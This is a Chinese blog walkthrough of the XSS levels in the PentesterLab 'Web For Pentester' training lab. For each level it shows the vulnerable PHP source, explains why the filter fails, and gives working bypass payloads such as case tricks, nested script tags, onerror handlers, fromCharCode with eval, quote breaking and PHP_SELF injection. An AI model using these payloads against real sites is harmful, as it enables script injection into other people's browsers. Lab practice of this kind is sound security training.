zoukankan      html  css  js  c++  java
  • Web For Pentester靶场(xss部分)

    配置

    官网:https://pentesterlab.com/
    下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
    安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:

    然后直接访问ip即可
    web for pentester默认没有root密码,可以来设置密码,方便ssh连接等查看源码

    sudo passwd
    

    第一关

    查看源码:

    <?php
            echo $_GET["name"];
    ?>
    

    分析:

    没有任何的过滤,直接将get获取的打印

    payload:

    /xss/example1.php?name=

    第二关

    查看源码:

    <?php
            $name =  $_GET["name"];
            $name = preg_replace("/<script>/","", $name);
            $name = preg_replace("/<\/script>/","", $name);
    echo $name;
    ?>
    

    分析:

    这里通过preg_replace()函数来正则,但是这种匹配是有缺陷的,没有匹配大小写,可以通过大小写绕过

    payload:

    /xss/example2.php?name=<Script>alert('xss')</Script>
    

    第三关

    查看源码:

    <?php
            $name =  $_GET["name"];
            $name = preg_replace("/<script>/i","", $name);
            $name = preg_replace("/<\/script>/i","", $name);
    echo $name;
    ?>
    

    分析:

    在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,但是只匹配了一次,类似sql注入(Seselectlect),可以嵌套<script>,匹配到了,替换成空格变成我们想要的了

    payload:

    /xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>
    

    第四关

    查看源码:

    <?php require_once '../header.php';
    if (preg_match('/script/i', $_GET["name"])) {
      die("error");
    }
    ?>
    Hello <?php  echo $_GET["name"]; ?>
    

    分析:

    对script进行了不区分大小写,匹配如果匹配到,就执行die("error"),终止程序,所以scirpt不能用,只能通过其他标签来触发js事件,可使用onerror事件,来执行js

    payload:

    /xss/example4.php?name=<img src="xss" onerror=alert('xss')>
    

    第五关

    查看源码:

    <?php require_once '../header.php';
    if (preg_match('/alert/i', $_GET["name"])) {
      die("error");
    }
    ?>
    Hello <?php  echo $_GET["name"]; ?>
    

    分析:

    对alert进行了过滤

    一.可以使用类似alert的方法来弹窗比如confirm,prompt


    二.通过编码绕过,String.fromCharCode()编码来绕过,可以使用hackbar来快速编码




    payload:

    /xss/example5.php?name=<script>confirm('xss')</script>
    /xss/example5.php?name=<script>prompt('xss')</script>
    /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
    



    第六关

    查看源码:

    <script>
            var $a= "<?php  echo $_GET["name"]; ?>";
    </script>
    

    分析:

    通过get的方式传入name变量,输入赋值给全局变量a,可以通过闭合双引号或者注释双引号来增加我们的js代码

    payload:

    /xss/example6.php?name=";alert('xss');"
    /xss/example6.php?name=";alert('xss');//
    




    第七关

    查看源码:

    <script>
            var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
    </script>
    

    分析:

    和第八关相似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好所以可以继续包含和注释

    payload:

    /xss/example7.php?name=';alert('xss');'
    /xss/example7.php?name=';alert('xss');//
    




    第八关

    查看源码:

    <?php
      require_once '../header.php';
    if (isset($_POST["name"])) {
        echo "HELLO ".htmlentities($_POST["name"]);
      }
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit"/>
    

    分析:

    name变量通过form表单以post方式传入,然后通过htmlentities函数实体化后输出来,并未找到破解的方法。然后观察

    ,用户可控制参数PHP_SELF,并且没有闭合引号和标签

    payload:

    /xss/example8.php/"><script>alert('XSS')</script>//
    /xss/example8.php/" onclick=alert('XSS')//
    



    第九关

    查看源码:

    <script>
      document.write(location.hash.substring(1));
    </script>
    

    分析:

    location.hash属性

    payload:

    /xss/example9.php#<script>alert('XSS')</script>
    

    注意:在火狐和Chrome浏览器<>会被自动转码

    参考文章

    https://www.sqlsec.com/2020/05/pentesterlab.html
    https://blog.csdn.net/qq_20307987/article/details/51284169
    最后欢迎访问我的个人博客:https://lnng.top/

  • 相关阅读:
    HTML5 ④
    HTML5 ③
    HTML5 ②
    HTML5 ①
    what’s this?
    第一篇
    2017年3月1号课堂笔记
    2017年2月27号课堂笔记
    2017年2月24号课堂笔记
    2017.02.15课堂笔记
  • 原文地址:https://www.cnblogs.com/Lmg66/p/13307275.html
Copyright © 2011-2022 走看看